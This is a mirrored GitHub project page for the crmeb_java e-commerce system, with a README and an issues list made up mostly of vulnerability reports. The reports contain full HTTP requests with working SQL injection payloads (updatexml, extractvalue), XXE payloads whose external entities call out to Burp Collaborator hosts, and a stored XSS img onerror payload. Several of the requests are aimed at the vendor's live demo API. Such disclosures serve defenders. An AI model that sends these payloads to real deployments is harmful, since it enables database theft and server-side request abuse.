Git Product home page Git Product logo

crmeb / crmeb_java Goto Github PK

View Code? Open in Web Editor NEW
825.0 19.0 263.0 168.61 MB

Java商城 免费 开源 CRMEB商城JAVA版,SpringBoot + Maven + Swagger + Mybatis Plus + Redis + Uniapp +Vue+elementUI 包含移动端、小程序、PC后台、Api接口;有产品、用户、购物车、订单、积分、优惠券、营销、余额、权限、角色、系统设置、组合数据、可拖拉拽的form表单等模块,大量的减少了二开的成本。

License: Other

JavaScript 10.55% HTML 21.33% CSS 1.56% Vue 31.16% Java 34.51% Shell 0.05% Handlebars 0.01% SCSS 0.84%

crmeb_java's Introduction

CRMEB开源商城系统Java版

如果对您有帮助,您可以点右上角 "Star" ❤️ 支持一下 谢谢!

📖 简介:

CRMEB 开源商城系统Java版,基于Java+Vue+Uni-app开发,在微信公众号、小程序、H5移动端都能使用,代码全开源无加密,独立部署,二开很方便,还支持免费商用,能满足企业新零售、分销推广、拼团、砍价、秒杀等多种经营需求,自用、做二开项目都很合适。

CRMEB开源商城PHP:https://gitee.com/ZhongBangKeJi/CRMEB

系统代码全开源无加密,独立部署、二开方便,适用于企业新零售、分销、拼团、砍价,秒杀等各种业务需求。


💡 系统亮点:

1.SpringBoot 框架开发业界主流。
2.【前端】Web PC 管理端 Vue + Element UI。
3.【前端】移动端使用 Uni-app 框架,前后端分离开发。
4.标准RESTful 接口、标准数据传输,逻辑层次更明确,更多的提高api复用。
5.支持Redis队列,降低流量高峰,解除耦合,高可用。
6.数据导出,方便个性化分析。
7.数据统计分析,使用ECharts图表统计,实现用户、产品、订单、资金等统计分析。
8.Spring Security 权限管理,后台多种角色,多重身份权限管理,权限可以控制到按钮级别的操作。
9.Vue表单生成控件,拖拽配置表单,减少前端重复表单工作量,提高前端开发效率。


💻 运行环境及框架:

1.	移动端uniapp开发框架 可生成H5 公众号 微信小程序
2.	WEB Pc 管理后台使用Vue + Element UI 开发 兼容主流浏览器 ie11+
3.	后台服务 Java SpringBoot + Mybatis-plus + Mysql + redis
4.	运行环境 linux和windows等都支持,只要有Java环境和对应的数据库 redis
5.	运行条件 Java 1.8 Mysql5.7

🔧 Java项目框架 和 WEB PC 项目运行环境

1. SpringBoot 2.2.6.RELEASE
2. Maven 3.6.1
3. swagger-bootstrap-ui 1.0
4. Mybatis Plus 3.3.1
5. npm 6
6. node 14
7. vue 2.x
8. element ui 2.13

🧭 项目代码包介绍

1. admin     WEB程序         PC端管理端 VUE + ElementUi
2. app       移动商城         UniApp标准开发(H5 + 微信小程序)
3. crmeb     Api            Java SpringBoot + mybatisPlus
4. 接口文档   Api对应的接口文档也可以部署项目后查看

移动端 uniapp 开发 使用 HbuilderX 开发


🎬 系统演示:

移动端:https://java.crmeb.net
WEBPC管理端:https://admin.java.crmeb.net
账号密码: demo/crmeb.com

自己搭建演示账号 移动端 18292417675 / crmeb@123456 管理端 admin / 123456

想了解CRMEB开源商城系统Java版整体框架,你可以戳这里快速掌握!


📃 系统资料

需要系统文档的朋友看过来,安装文档、产品介绍、技术文档...你想要的我都有! https://doc.crmeb.com/java/crmeb_java

要安装系统,跟着视频更顺畅!CRMEB开源商城系统Java版安装视频,给你奉上! 视频教程 B站视频教程 持续更新中 点击观看 💻🖥️


💟 UI界面

核心功能

📱 移动端预览

WEB PC管理端预览


📲 CRMEB开源技术交流群

扫码进群可领取开源版接口文档、产品功能清单、高清UI设计图、思维脑图!

📈 技术社区

找方法、提bug、看官方消息、拿活跃大奖! https://www.crmeb.com/ask/thread/list/152

📞 技术交流

跟着官方,不迷路!欢迎扫码加入CRMEB 开源项目群,一手消息及资源,尽在掌握!
CRMEB JAVA 技术交流QQ群 1群 🈵️
CRMEB JAVA 技术交流QQ群 2群 🈵️
CRMEB JAVA 技术交流QQ群 3群 640230510 🈵️ 群已满

使用中遇到bug 或者问题可以在gitee 上提 Issues


💌 特别鸣谢

核心开发团队

产品: 木子刀客

技术: ❄指缝de阳光, 怪兽的猫, 乡关何处

团队打杂: 大粽子

UI: 被子横盖显得高🐰

测试: 请叫我绵绵🐏, 夏天


🔔 使用须知

1.允许用于个人学习、毕业设计、教学案例、公益事业、商业使用;
2.如果商用必须保留版权信息,请自觉遵守;
3.禁止将本项目的代码和资源进行任何形式的出售,产生的一切任何后果责任由侵权者自负。


🪪 版权信息

本项目包含的第三方源码和二进制文件之版权信息另行标注。
版权所有Copyright © 2017-2022 by CRMEB (https://www.crmeb.com)
All rights reserved。
CRMEB® 商标和著作权所有者为西安众邦网络科技有限公司。


crmeb_java's People

Contributors

changanzhang avatar dazongzi01 avatar evoxwht avatar feiliao-9 avatar guaishoudemao avatar jimo621 avatar stivepeim avatar sugar1569 avatar xuxiaowei-com-cn avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

crmeb_java's Issues

There is a sql injection vulnerability in the crmeb_java system /api/admin/user/list

[Suggested description]
There is a SQL Injection vulnerability in crmeb_java <=1.3.4, caused by params province and city which are in ${} format and are not strictly filtered.

[Vulnerability Type]
SQLi

[Vendor of Product]
https://github.com/crmeb/crmeb_java

[Affected Product Code Base]
<=1.3.4

[Affected Component]
/api/front/spread/people

[Attack Type]
Remote

[Vulnerability details]
Send the crafted request package to the api interface /api/admin/user/list

GET /api/admin/user/list?labelId=&userType=&sex=&isPromoter=&country=foo&payCount=&accessType=0&dateLimit=&keywords=&province=&city=1'+and+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()),0x7e),1)%23&page=1&limit=15&level=&groupId=&temp=1678934444 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authori-zation: fa1df85d14f940a1ad4c9760ba8f8f20
Origin: http://localhost:9527
Connection: close
Referer: http://localhost:9527/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

image

[Impact Code execution]
true

[Cause of vulnerability]
The interface /list calls the function getList.
image
Trace the function com/zbkj/service/service/impl/UserServiceImpl.java#getList
If the param country is not null, the params province and city will be joined directly to the addres value.
image
The param addres is in ${} format and it will be joined directly to the sql string.
image
That's all, thanks.

There is a sql injection vulnerability exists in crmeb_java

[Suggested description]
sql injection vulnerability exists in crmeb_java <=1.3.4
/api/admin/user/list endpoint Unfiltered parameters 'level' cause sqli

[Vulnerability Type]
SQLi

[Vendor of Product]
https://github.com/crmeb/crmeb_java

[Affected Product Code Base]
<=1.3.4

[Affected Component]

GET /api/admin/user/list?labelId=&userType=routine&sex=&isPromoter=&country=&payCount=9&accessType=0&dateLimit=&keywords=&province=&city=&page=1&limit=15&level=1+and+extractvalue(1,CONCAT(1,user()))&groupId=1&temp=1675070029&addres=a% HTTP/2
Host: api.java.crmeb.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/json, text/plain, /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authori-Zation: 0d8ed99c6e51404f82a22ba15332300a
Origin: https://admin.java.crmeb.net
Referer: https://admin.java.crmeb.net/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers

[Attack Type]
Remote

[Vulnerability details]
step 1 login admin click user Manager and click search button
图片

step 2 intercept request use burpsuite
图片

step 3 insert payload in paramter “level”

level=1+and+extractvalue(1,CONCAT(1,user()))

https://api.java.crmeb.net/api/admin/user/list?labelId=&userType=routine&sex=&isPromoter=&country=&payCount=9&accessType=0&dateLimit=&keywords=&province=&city=&page=1&limit=15&level=1+and+extractvalue(1,CONCAT(1,user()))&groupId=1&temp=1675070029&addres=a%

图片

there you can see it

[Impact Code execution]
true
[Cause of vulnerability]
\crmeb\crmeb-service\src\main\resources\mapper\user\UserMapper.xml
line 36 "${level}"
When using "${}", program will do not do any processing, and directly splice the value into the sql statement lead sqli
图片

There is a sql injection vulnerability in the crmeb_java system /api/admin/store/product/list interface

[Suggested description]
sql injection vulnerability exists in crmeb_java <=1.3.4
Failure to check the parameters legally leads to sqli.

[Vulnerability Type]
SQLi

[Vendor of Product]
https://github.com/crmeb/crmeb_java

[Affected Product Code Base]
<=1.3.4

[Affected Component]
/api/admin/store/product/list

[Attack Type]
Remote

[Vulnerability details]
Get the interface request package
GET /api/admin/store/product/list?page=1&limit=20&cateId=&keywords=&type=1&temp=1678870222 HTTP/2
Host: api.java.crmeb.net
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: application/json, text/plain, /
Authori-Zation: 213ff6ff1ca24ae78f8263bd7ad0ea6c
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://admin.java.crmeb.net
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://admin.java.crmeb.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

The cateId parameter has an injection vulnerability.
crmeb_java_1
There you can see it!

[Impact Code execution]
true
[Cause of vulnerability]
com.zbkj.admin.controller.SystemMenuController line 49
The controller calls the getAdminList() method
crmeb_java_2
follow up to com.zbkj.service.service.impl.StoreProductServiceImpl line 172,
Here, the cateId is directly spliced ​​into the SQL statement, thus causing a SQL injection vulnerability
crmeb_java_3

The end,thanks!

There is a XXE injection vulnerability in the crmeb_java system /api/admin/payment/callback/wechat

[Suggested description]
There is a XXE Injection vulnerability in crmeb_java <=1.3.4, which is triggered by the SaxReader component.

[Vulnerability Type]
XML External Entity (XXE) Injection

[Vendor of Product]
https://github.com/crmeb/crmeb_java

[Affected Product Code Base]
<=1.3.4

[Affected Component]
/api/admin/payment/callback/wechat

[Attack Type]
Remote

[Vulnerability details]
Send the crafted request package to the api interface /api/admin/payment/callback/wechat

POST /api/admin/payment/callback/wechat HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authori-zation: dbdd777e27b94979adf06fc3fd20ee68
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Content-Type: application/xml
Content-Length: 239

<?xml version="1.0"?>
<!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "http://3qurglf920zqknzhgryal9ip7gd61v.burpcollaborator.net/evil.xml" >]>
<return_code>&xxe;</return_code>
<return_msg><![CDATA[OK]]></return_msg>

image

[Impact Code execution]
true

[Cause of vulnerability]
The interface /api/admin/payment/callback/wechat calls the function weChat
image
If the xmlInfo is not blank, the function processResponseXml will be called.
image
Then it calls the function xmlToMap to process the xml.
image
There is a XXE Injection vulnerability with the SAXReader component.
image

That's all, thanks.

There is a XXE injection vulnerability in the crmeb_java system /api/public/wechat/message/webHook

[Suggested description]
There is a XXE Injection vulnerability in crmeb_java <=1.3.4, which is triggered by the SaxReader component.

[Vulnerability Type]
XML External Entity (XXE) Injection

[Vendor of Product]
https://github.com/crmeb/crmeb_java

[Affected Product Code Base]
<=1.3.4

[Affected Component]
/api/public/wechat/message/webHook

[Attack Type]
Remote

[Vulnerability details]
Send the crafted request package to the api interface /api/public/wechat/message/webHook

POST /api/public/wechat/message/webHook HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authori-zation: dbdd777e27b94979adf06fc3fd20ee68
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Content-Type: application/xml
Content-Length: 180

<?xml version="1.0"?>
<!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "http://8r0e5uqbuix3subuusrvl4ec43atyi.burpcollaborator.net/evil.xml" >]>
<foo>&xxe;</foo>

image

[Impact Code execution]
true

[Cause of vulnerability]
The interface /api/public/wechat/message/webHook calls the function init.
image
It calls the function xmlToMap.
image
There is a XXE Injection vulnerability with the SAXReader component.
image

That's all, thanks.

There is a sql injection vulnerability in the crmeb_java system /api/front/spread/people

[Suggested description]
There is a SQL Injection vulnerability in crmeb_java <=1.3.4, caused by the param sortKey which is in ${} format and isn't strictly filtered.

[Vulnerability Type]
SQLi

[Vendor of Product]
https://github.com/crmeb/crmeb_java

[Affected Product Code Base]
<=1.3.4

[Affected Component]
/api/front/spread/people

[Attack Type]
Remote

[Vulnerability details]
Make sure the user has at least two promoters.
image
Send the crafted request package to the api interface /api/front/spread/people

GET /api/front/spread/people?sortKey=updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()),0x7e),1) HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
content-type: application/json
Authori-zation: dbdd777e27b94979adf06fc3fd20ee68
Origin: http://localhost:8082
Connection: close
Referer: http://localhost:8082/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

image
[Impact Code execution]
true
[Cause of vulnerability]
The interface /spread/people call the function getSpreadPeopleList
image
Make sure the user has secondary promoter, the it will call the function getSpreadPeopleList.
image
There is a trick that the order by statement is only executed if there are at least two promoters.
The param sortKey is ${} format and it will be joined to the sql string directly.
image
That's all, thanks.

关于版权的问题

1.请问我可以直接将代码下载、部署安装给客户,不支付贵公司任何费用吗?
2.假如1成立,那么贵公司官网售卖的crmeb_java源码与本源码不同是吗?

There is a sql injection vulnerability in the crmeb_java system /api/front/store/list

[Suggested description]
There is a SQL Injection vulnerability in crmeb_java <=1.3.4, caused by the param sortKey which is in ${} format and isn't strictly filtered.

[Vulnerability Type]
SQLi

[Vendor of Product]
https://github.com/crmeb/crmeb_java

[Affected Product Code Base]
<=1.3.4

[Affected Component]
/api/front/store/list

[Attack Type]
Remote

[Vulnerability details]
image

image
[Impact Code execution]
true
[Cause of vulnerability]
The interface /api/front/store/list call the function getNearList
image
function getNearList will be called when inputing both latitude and longitude parameters.
image
The latitude and longitude parameters are used in ${} format and it will be joined to the sql string directly.
image

There is an SQL injection vulnerability in the crmeb_java system (/api/admin/system/store/order/list) interface.

There is an SQL injection vulnerability in the crmeb_java system (/api/admin/system/store/order/list) interface.

crmeb_java系统/api/admin/system/store/order/list接口存在sql注入的问题;

其中keywords参数存在sql注入的问题;
There is a SQL injection vulnerability with the keywords parameter.

image

image

com/zbkj/admin/controller/SystemWriteOffOrderController.java
image

keywords字符串拼接导致存在SQL注入;
There is an SQL injection vulnerability due to the string concatenation of the keywords.

com/zbkj/service/service/impl/StoreOrderServiceImpl.java
image

There is a stored XSS vulnerability in the /api/admin/store/product/save interface of the crmeb_java system

[Suggested description]
Store XSS vulnerability exists in crmeb_java <=1.3.4
Failure to filter or validate parameters effectively results in stored XSS.

[Vulnerability Type]
Stored XSS

[Vendor of Product]
https://github.com/crmeb/crmeb_java

[Affected Product Code Base]
<=1.3.4

[Affected Component]
/api/admin/store/product/save

[Attack Type]
Remote

[Vulnerability details]
payload :

<img src=\"1111\" alt=\"2222\" width=\"33\" height=\"33\" onclick=\"alert`333`\" onerror=alert(2)/>

Get the request message of the /api/admin/store/product/save interface.

POST /api/admin/store/product/save HTTP/2
Host: api.java.crmeb.net
Content-Length: 1213
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: application/json, text/plain, */*
Content-Type: application/json
Authori-Zation: 213ff6ff1ca24ae78f8263bd7ad0ea6c
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://admin.java.crmeb.net
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://admin.java.crmeb.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

{"image":"https://api.java.crmeb.net/crmebimage/public/maintain/2023/03/13/9f83773cd1bf47118d6e02ad86b599520ay7shmx9i.jpg","sliderImages":["https://api.java.crmeb.net/crmebimage/public/maintain/2023/03/13/9f83773cd1bf47118d6e02ad86b599520ay7shmx9i.jpg"],"videoLink":"","sliderImage":"[\"https://api.java.crmeb.net/crmebimage/public/maintain/2023/03/13/9f83773cd1bf47118d6e02ad86b599520ay7shmx9i.jpg\"]","storeName":"3333","storeInfo":"2132131","keyword":"1111","cateIds":[972,1185],"cateId":"972,1185","unitName":"1111","sort":1,"giveIntegral":1,"ficti":2,"isShow":false,"isBenefit":false,"isNew":false,"isGood":false,"isHot":true,"isBest":false,"tempId":94,"attrValue":[{"image":"https://api.java.crmeb.net/crmebimage/public/maintain/2023/03/13/9f83773cd1bf47118d6e02ad86b599520ay7shmx9i.jpg","price":0,"cost":0,"otPrice":0,"stock":0,"barCode":"","weight":0,"volume":0,"attrValue":"{\"规格\":\"默认\"}"}],"attr":[{"attrName":"规格","attrValues":"默认","id":0}],"selectRule":"","isSub":false,"content":"111","specType":false,"id":0,"couponIds":[],"coupons":[],"activity":["默认","秒杀","砍价","拼团"]}

The content parameter has a stored XSS vulnerability.
Insert the payload and send the request packet.
crmeb_java_2_1
Find the added product and enter the product details page, click the inserted img tag to trigger the vulnerability.
crmeb_java_2_2
There you can see it!

[Impact Code execution]
true

[Cause of vulnerability]
com.zbkj.admin.controller.StoreProductController line 77.
The save() method of storeProductService is called on line 77 of this controller
crmeb_java_2_3
Follow up this method to com.zbkj.service.service.impl.StoreProductServiceImpl.
On line 339, save the value of the content parameter in the request packet to the database.
Come to the front page.
In crmeb_java\admin\src\views\store\creatStore\index.vue, in line 296, use v-html to render the obtained content value. It is known that v-html will treat the obtained content as HTML code to render.
crmeb_java_2_4
The reason for this vulnerability is that there is no legal security check on user data.

The end,thanks!

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.